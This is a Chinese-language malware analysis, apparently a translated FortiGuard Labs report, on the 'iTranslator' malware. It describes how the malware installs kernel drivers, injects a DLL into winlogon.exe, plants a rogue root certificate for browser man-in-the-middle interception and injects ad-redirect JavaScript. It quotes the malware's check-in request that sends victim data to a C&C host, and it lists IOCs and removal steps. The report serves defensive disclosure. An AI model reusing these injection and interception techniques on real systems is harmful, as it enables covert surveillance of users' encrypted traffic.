一、前言
FortiGuard实验室研究团队最近捕获到一个恶意软件样本,这个EXE文件带有一个无效的证书签名。一旦受害者打开exe文件,恶意软件就会安装两个驱动,控制受害者的Windows系统,同时监控受害者使用浏览器的互联网活动规律。
在本文中,我将详细分析恶意软件如何在受害者系统上安装驱动、驱动的工作方式以及恶意软件的具体功能。
二、执行恶意软件样本
本次捕获的样本文件名为itranslator_02.exe
。在实际攻击活动中,恶意软件使用了多个不同的名称,包括itransppa.exe
、itranslator20041_se.exe
、Setup.exe
以及itransVes.exe
。样本文件经过证书签名,证书的过期时间为2015年5月16日。该证书由VeriSign Class 3 Code Signing 2010 CA
颁发给Beijing ******** Technology Ltd
(这里我隐去了公司的名称),序列号为0A 00 5D 2E 2B CD 41 37 16 82 17 D8 C7 27 74 7C
。样本的数字证书信息如图1所示:
图1. 恶意软件使用了已过期的证书
当itranslator_02.exe
运行时,会在program-data
目录(在我的测试环境中,该目录为C:\ProgramData
)中创建名为itranslator
的一个新目录,然后将名为wintrans.exe
的一个新文件释放到该目录中。使用参数P002
启动wintrans.exe
后,itranslator_02.exe
的任务就此完成。这里使用的命令行字符串为:C:\ProgramData\itranslator\wintrans.exe P002
,恶意软件将P002
作为GUID
来使用,并在恶意攻击活动中利用该值与C&C服务器通信。
三、安装驱动组件
顺利接管itranslator_02.exe
的工作后,wintrans.exe
会下载其他恶意组件并安装到受害者的Windows系统中,然后在受害者系统上安装驱动,我们来看驱动安装过程。
图2. 创建驱动服务“iTranslatorSvc”
恶意软件创建了一个线程来执行该操作:首先调用两个Windows系统API来创建驱动服务,相关API为OpenSCManagerA
以及CreateServiceA
。驱动名为iTranslatorSvc
,该名称为CreateServiceA
API的一个参数。
利用这种方式,恶意软件调用CreateServiceA
API为新的驱动服务创建一个新的注册表键值。该样本创建的注册表键值为:HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc
。
新创建驱动的启动(Start
)类型最开始时会被恶意软件设置为2(对应的就是AUTO_START
),随后再被修改为1(对应的是SYSTEM_START
)。这样每当系统启动时都会启用该驱动。我们通过IDA Pro分析了驱动的创建过程,如图2所示。
接下来,wintrans.exe
会将名为iTranslator
的一个文件释放到Windows
目录中(在我的测试环境中该目录为C:\Windows\
),该文件已事先内嵌在wintrans.exe
文件的BIN
资源区中。释放文件的伪代码如图3所示。
图3. 从资源区中提取iTranslator文件
大家可能已经猜到,iTranslator
也是一个Windows驱动文件,调用CreateServiceA
时使用了该文件的完整路径以便创建iTranslatorSvc
。
iTranslator
文件经过VMProtect加壳保护,该文件同样带有一个无效的证书签名(证书已于2015年5月12日过期)。签名方为Nanjing ********* Technology Co.,Ltd
,序列号为73 dc b1 a0 35 15 bb 63 9b f3 1e cd 5f 98 ff 24
。iTranslator
文件的属性信息如图4所示,我们也使用PE工具分析了加壳信息。
图4. iTranslator
属性及加壳信息
随后恶意软件使用P002
创建GUID值,并且使用受害者的硬件信息生成十六进制值来创建MachineCode
键,这些值都保存在HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc
这个子键中。注册表中的相关数据如图5所示:
图5. iTranslatorSvc注册表信息
此后,恶意软件继续调用StartServiceA
,立刻运行恶意驱动。为了向大家展示恶意驱动程序在受害者计算机上的运行过程,接下来我会以操作系统启动为起点,从头开始梳理整个过程,这也是加载驱动的正常方式。
四、下载其他组件
一旦安装完毕,恶意软件会在某个线程函数中尝试下载一个DLL模块。相应的HTTP请求及响应数据如图6所示:
图6. 下载DLL文件
在URI中,uid=
为机器代码,v=
为恶意软件当前版本(这里的版本为1.0.0
),x=
为受害者的Windows架构(32位或者64位)。在头部数据中,UID: P002
为恶意软件的GUID。在响应报文中,恶意软件会返回最新的版本信息以及下载链接。在本文样本中,最新的版本为1.0.7
版,下载链接为hxxp://gl.immereeako.info/files/upgrade/32/iTranslator.dll
(然而在分析该恶意软件的过程中,最新版本更新到了1.0.8
版,下载链接也变为hxxp://dl.shalleeatt.info/ufiles/32x/iTranslator.dll
)。
恶意软件随后会下载DLL文件,将其保存为同一个目录(即C:\ProgramData\itranslator\
)下的wintrans.exe
。根据我的分析,下载的文件iTranslator.dll
可能是这款恶意软件的主模块,其执行的部分任务列表如下:
1、提取并加载一个网络过滤器驱动;
2、与其他驱动交换数据;
3、在未经受害者许可的情况下,将SSL证书以可信根证书形式安装到浏览器中;
4、监控受害者浏览器的互联网访问数据包。
有趣的是,下载的文件并不仅仅是一个DLL文件,而是一个文件容器,其资源区中包含许多其他文件,这些文件随后会释放到受害者的本地目录中。下载的iTranslator.dll
可以在首次安装时由wintrans.exe
加载运行,也可以在Windows系统启动时由winlogon.exe
负责加载及运行,而后者由iTranslatorSvc
驱动负责加载。我会在下文的驱动启动部分详细介绍这个过程。
恶意软件同时也会在系统注册表的HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
路径中记录最新的版本信息,其中iVersion
代表最新版本号,本文成稿时该版本号为1.0.8
。
五、通知攻击者
wintrans.exe
的最后一个任务是将受害者的系统信息发送到攻击者的服务器,发送的报文格式如下所示:
GET /in.php?type=is&ch=P002&mc=07********************93&os=Windows7(6.1)&t=1435127837&m=08****0****E HTTP/1.1
UID: P002
MC: 078********************3
User-Agent: ITRANSLATOR
Host: tk.immereeako.info
URL中的ch=
以及头部中的UID
为GUID P002
;URL中的mc=
以及头部中的MC
为受害者系统的机器码;os=
为受害者的操作系统版本;t=
为当前Windows的安装日期,该信息来自于系统注册表中,恶意软件使用了Unix格式时间,即从1970年1月1日以来的秒数;m
为受害者的网络MAC地址。
我将原始报文中的敏感信息以*
号来代替,该报文用来通知攻击者恶意软件已在Windows系统上安装完毕。
六、在Windows启动过程中加载恶意驱动
Windows系统启动过程中会加载iTranslatorSvc
驱动,从现在开始我会详细介绍恶意软件的工作流程。
恶意驱动文件路径为C:\Windows\iTranslator
,经过VMProtect v2.0.7加壳保护,存在多个导出函数,如图7所示。
图7. iTranslatorSvc驱动的导出函数
该驱动由nt!IopLoadDriver
负责加载。当VMProtect加壳器的代码执行后,会还原出驱动的DriverEntry
函数,我们可以进入该函数继续分析。
驱动首先会从系统的注册表中读取GUID
以及MachineCode
,将这些信息保存在全局变量中,然后将Start
值设置为1,即SYSTEM_START
。接下来恶意软件会为该驱动创建一个设备对象\\Device\\iTranslatorCtrl
以及一个符号链接\\DosDevices\\iTranlatorCtrl
,这样运行在ring 3的恶意软件就可以通过\\\\.\\iTranslatorCtrl
访问驱动。随后恶意驱动会设置一些dispatch(分发)函数,就像其他驱动一样。在IRP_MJ_DEVICE_CONTROL
分发函数中,驱动只会返回来自于全局变量的GUID
以及MachineCode
值。
七、在系统线程中设置回调函数
最后,恶意驱动会调用nt!PsCreateSystemThread
API创建一个系统线程,线程函数同样经过VMProtect加壳器的保护。受VMProtect保护的系统线程函数代码片段如图8所示。恶意驱动中的所有API调用都通过这种方式经过加壳保护,如图8所示:
图8. 经过VMProtect加壳保护的代码片段
系统线程启动时首先会从内存中释放文件,文件的完整路径为C:\Windows\System32\iTranslator.dll
,然后调用nt!PsSetLoadImageNotifyRoutine
API来设置镜像加载回调函数。MSDN对该API的描述为:“PsSetLoadImageNotifyRoutine
例程用来注册由驱动提供的一个回调函数,以便当镜像加载(或映射到内存中)时获得相关通知”。这意味着每当镜像(或者EXE文件)开始加载时,镜像就会被挂起,驱动中的回调函数就会被另一个API(即nt!PsCallImageNotifyRoutines
)所调用。此时,iTranslatorSvc
驱动就可以读取镜像的整个进程信息,通过修改进程信息来影响进程的执行流程。
让我们回到驱动中的这个回调函数上,分析该函数的具体功能。当该函数被调用时,会检查进程名是否为winlogon.exe
,如果满足该条件,则驱动就会找到该进程的映射内存,然后在内存中重建Import Directory Table(IDT表),将恶意DLL C:\Windows\System32\iTranslator.dll
加到该表末尾处。IDT表中同样包含该进程所需的某些模块数据(比如Kernel32.dll
、User32.dll
)。IDT表中每个模块的数据占用14H个字节。
重建的IDT表如图9所示,恶意软件需要修改导入表(Import Table)表项在PE数据目录表(Data Directory Table)中的偏移来重建IDT表。随后,一旦winlogon.exe
恢复执行,就会像加载其他正常DLL那样加载这个恶意的DLL。
图9. 重建IDT表
为什么恶意软件使用的是winlogon.exe
?这是属于Windows登录管理器的一个进程,可以处理登录及注销过程。如果该进程被终止,则用户会从系统中注销。换句话说,除非Windows系统关闭,否则该进程将始终处于运行状态。
恶意驱动还会继续设置另一个镜像加载回调函数。根据我的分析,该函数用来检查镜像是否为特定的浏览器,如iexplore.exe
、firefox.exe
或者chrome.exe
。如果匹配成功,驱动就会查找相关的进程信息块,向其命令行中添加hxxp://go.microsoft.com/?69157
参数。完成该操作后,当浏览器启动时就会先访问hxxp://go.microsoft.com/?69157
这个网址。IE启动时情况如图10所示,其命令行末尾已附加了hxxp://go.microsoft.com/?69157
这个URL。
图10. IE使用hxxp://go.microsoft.com/?69157
参数
实际上,受害者的浏览器并没有真正访问过该URL,该URL的作用更像是一个开关标志。随后,恶意软件会提取并加载另一个驱动来监控受害者的网络活动,然后中断请求,指向hxxp://go.microsoft.com/?69157
,然后执行不同的任务。下文我们将分析这方面内容。
恶意驱动同样会在系统线程函数中调用nt! CmRegisterCallback
来设置注册表回调函数,在驱动级别过滤注册表调用。根据我的分析,这个回调函数对微软Edge浏览器比较关注。
iTranslatorSvc
驱动同样会保护系统注册表中相关路径(即HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc
)的访问权限。当我们使用注册表编辑器访问该路径时,会看到一个错误提示消息,如图11所示。
图11. 受驱动保护的iTranslatorSvc注册表项
八、当winlogon.exe恢复运行
前面我提到过,当winlogon.exe
恢复运行时,会加载C:\Windows\System32\iTranslator.dll
,该文件来自于iTranslatorSvc
驱动,整个过程如前文所述。System32
目录下的iTranslator.dll
同样经过VMProtect v.2.07加壳保护。
根据我的分析,该程序的主要目的是加载C:\ProgramData\itranslator
目录中的itranslator.dll
模块(该文件由前文提到过的wintrans.exe
下载)。随后,如果C&C服务器上存在更新版本的itranslator.dll
,则恶意软件会尝试更新,这与wintrans.exe
的功能类似。到目前为止,该DLL文件的最新版本为1.0.8
。
恶意软件的文件名可能会让大家有点困惑,这里存在两个相似的文件名。一个来自于iTranslatorSvc
驱动,路径为C:\Windows\System32\iTranslator.dll
,另一个从C&C服务器下载,路径为C:\ProgramData\itranslator\itranslator.dll
。在下文中,为了区分这两个文件,我将C:\Windows\System32\iTranslator.dll
标记为extracted-iTranslator.dll
,将C:\ProgramData\itranslator\itranslator.dll
标记为downloaded-itranslator.dll
。
downloaded-itranslator.dll
为该恶意软件的主模块,可以由wintrans.exe
以及winlogon.exe
加载执行。在winlogon.exe
进程中,downloaded-itranslator.dll
会被手动加载到0x10000000
这个内存位置。根据该文件PE结构中的数据定义,该进程会矫正数据以便正常执行。最后,进程会调用downloaded-itranslator.dll
的入口函数。至此extracted-iTranslator.dll
的任务已圆满完成。
九、启动downloaded-itranslator.dll
恶意软件首先通过iTranslatorSvc
驱动获取GUID
以及MachineCode
的值,并将其保存到全局变量中。在下一步中,恶意软件会创建一个线程,从C&C服务器获取C&C服务器URL的更新列表。通过这种方法,这款恶意软件可以使用多个不同的C&C服务器啦执行不同的任务。hxxp://ask.excedese.xyz/
这个服务器保存了两个C&C服务器URL,对应的报文内容如图12所示。
图12. 更新C&C服务器URL
响应报文中包含JSON格式的两个新的URL,分别为immereeako.info
以及search.bulletiz.info
,这些地址会保存到两个全局变量中,以便后续使用。
前面我提到过,downloaded-itranslator.dll
文件其实是一个容器,其资源区中包含许多文件,这些文件会被释放到本地不同的目录中,这些文件如下表所示:
此外,恶意软件也会从内存中释放出C:\Windows\SSL\Sample CA 2.cer
这个文件。
十、中间人攻击
根据我的分析,释放出来的所有文件都用于在受害者系统上执行中间人攻击。
iNetfilterSvc
文件是另一个驱动程序,其名称为NetfilterSvc
,其实是NetFilter SDK这个商业项目的一个实例。该驱动是一个框架。用来透明过滤Windows系统中通过网络传输的数据包。释放出来的Sample CA 2.cer
是一个根证书,会以可信根证书颁发机构形式安装到Firefox以及Windows系统中(针对IE和Chrome)。这对隐蔽执行中间人攻击是非常有必要的一个操作。通过这种方法,受害者浏览器中用于SSL保护通信的所有证书其实都由Sample CA 2.cer
签发,由于Sample CA 2.cer
已经位于可信根证书颁发机构列表中,因此浏览器不会向用户告警。
攻击者会使用C:\Windows\nss
中的所有文件来控制Firefox浏览器。C:\Windows\nss\certutil.exe
文件用来将Sample CA 2.cer
安装到Firefox中。使用调试器来分析certutil.exe
时如图13所示。
图13. certutil.exe
安装Sample CA 2.cer
在图14中,我们可以看到Sample CA 2.cer
已安装到Mozilla Firefox以及Microsoft IE的可信根证书颁发机构列表中。
图14. Sample CA 2.cer安装到Mozilla Firefox以及Microsoft IE中
downloaded-itranslator.dll
模块的主要功能是释放iNetfilterSvc
模块,运行该模块(顺便提一句,C:\Windows\iNetfilterSvc
在加载后会被立刻删除),安装Sample CA 2.cer
,然后与iTranslatorSvc
及NetfilterSvc
这两个驱动通信。通过这种方法,恶意软件可以监控受害者在所有主流浏览器上的活动。
恶意软件继续创建NetfilterSvc
驱动的一个驱动句柄(\\.\CtrlSMNetfilterSvc
),以便与该驱动交换数据,然后将相关协议注册到NetfilterSvc
,这样当捕获相关协议的数据时,驱动就可以调用回调函数。大家可以访问Netfilter SDK的官方网站,了解详细信息。从图15中,我们可以看到恶意软件注册HTTP协议(80端口)以及HTTPS协议(443端口)的代码片段。
图15. 注册待过滤的协议到NetfilterSvc
图16. 协议回调函数代码片段
大家是否还记得,当受害者启动IE时,iTranslatorSvc
中的镜像加载回调函数就会被调用,随后就会将hxxp://go.microsoft.com/?69157
附加到IE的命令行参数中。IE发送HTTP请求报文,该报文会被NetfilterSvc
驱动捕获。与此同时,downloaded-itranslator.dll
中的协议回调函数就会被调用。一个回调函数的代码片段如图16所示,恶意软件会检查所请求的URL是否为hxxp://go.microsoft.com/?69157
,如果满足该条件,则发送一个通知报文到C&C服务器,然后受害者已打开浏览器。
使用Fiddler捕捉到的通知报文如图17所示。请求的URL中包含P002
以及MachineCode
。C&C服务器返回的数据中包含Location: hxxps://www.google.com
信息,该信息最终会发送回IE,而IE会向受害者显示Google网站。因此,受害者系统其实不会真正去访问hxxp://go.microsoft.com/?69157
这个URL。
图17. 通知C&C服务器浏览器已打开
对于浏览器中的其他请求(包括HTTP以及HTTPS数据),恶意软件可以通过中间人攻击方法修改数据包的内容。恶意软件会在每个响应数据包的末尾插入一小段JavaScript代码。这段JavaScript代码在早期流程中生成,包含C&C服务器URL以及MachineCode
。当浏览器收到响应数据时,就会执行已插入的JavaScript代码,执行更多恶意操作。到目前为止,这段JavaScript代码只会从C&C服务器上下载其他JS文件。被修改过的hxxps://www.google.com
页面源码如图18所示,尾部包含已插入的JavaScript代码。
图18. 插入google.com响应报文的JavaScript代码
大家可能会注意到,当JavaScript代码运行时,会从hxxps://cdn.immereeako.info/pa.min.js
处下载一个脚本并在受害者的浏览器中运行。
不幸的是,我的测试主机并没有安装微软的Edge浏览器,但我认为恶意软件的攻击方法同样适用于Edge浏览器。
十一、JavaScript代码分析
当受害者浏览器加载hxxps://cdn.immereeako.info/pa.min.js
时,就会往C&C服务器发送一个HTTP请求,如下图所示:
请求报文中包含MachineCode
以及从受害者浏览器中收集到的一些数据(比如受害者正在访问的当前URL地址,本次测试中该地址为hxxps://www.facebook.com
)。
URL中的pacb_jlcmurby4cp95
是一个带有随机名的回调函数,该函数由pa.min.js
负责生成。C&C服务器端会在响应报文中用到该名称。某个响应报文如下图所示:
body中的红色高亮部分为JavaScript代码,其中使用了对象参数来调用pacb_jlcmurby4cp95
函数。在回调函数中,脚本会处理该参数,在当前页面上添加鼠标单击事件(例如:hxxp://www.facebook.com
)。当鼠标单击事件在受害者当前访问的页面中触发时,脚本会创建一个新的标签页,然后访问响应数据包中的URL(这里的URL为hxxp://www.onclickbright.com/jump/next.php?r=20*****&sub1=pa
,我用*
号隐去了一些信息)。根据我的研究,访问该URL会让受害者看到一个广告页面。受害者在Microsoft IE及Google Chrome浏览器中看到的广告页面如图19所示。
图19. 推送给受害者的多个广告页面
十二、感染流程
为了更好地理解这款恶意软件的整体感染流程,我梳理了一个简单的流程图,如图20所示。
图20. 简要版感染流程图
十三、解决方案
FortiGuard反病毒服务已经公布了检测该样本的特征:W32/Itranslator.FE45!tr,此外,FortiGuard Webfilter服务已经将相关URL标识为“恶意网站”。
如果想删除这款恶意软件,可以重启主机并进入按全模式,然后执行如下操作:
1、删除%WINDIR%\iTranslator
文件;
2、删除%WINDIR%\nss
以及%WINDIR%\SSL
目录;
3、删除%WINDIR%\system32\iTranslator.dll
文件;
4、删除%ProgramData%\itranslator
目录;
5、删除HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc
注册表键值;
6、删除HKLM\SYSTEM\CurrentControlSet\services\NetfilterSvc
注册表键值;
7、删除所有浏览器中的Sample CA 2
证书。
十四、IOC
URL
hxxp://s3.amazonaws.com/dl.itranslator.info/
hxxps://cdn.immereeako.info/pa.min.js
hxxp://tk.immereeako.info/in.php
hxxp://ask.excedese.xyz/i.php
hxxp://gl.immereeako.info/files/upgrade/32/iTranslator.dll
hxxp://dl.shalleeatt.info/ufiles/32x/iTranslator.dll
样本SHA-256哈希
itranslator_02.exe
B73D436D7741F50D29764367CBECC4EE67412230FF0D66B7D1D0E4D26983824D
wintrans.exe
67B45AE63C4E995D3B26FE7E61554AD1A1537EEEE09AAB9409D5894C74C87D03
iTranslator(驱动)
E2BD952812DB5A6BBC330CC5C9438FC57637760066B9012FC06A8E591A1667F3
downloaded-itranslator.dll(1.0.7版)
C4EDE5E84043AB1432319D74D7A0713225D276600220D0ED5AAEB0B4B7CE36CD
downloaded-itranslator.dll(1.0.8版)
873825400FFF2B398ABF397F5A913A45FBD181654F20FBBE7665C239B7A2E8F5
十五、参考资料
NetFilter SDK:http://netfiltersdk.com/index.html
中间人攻击:https://en.wikipedia.org/wiki/Man-in-the-middle_attack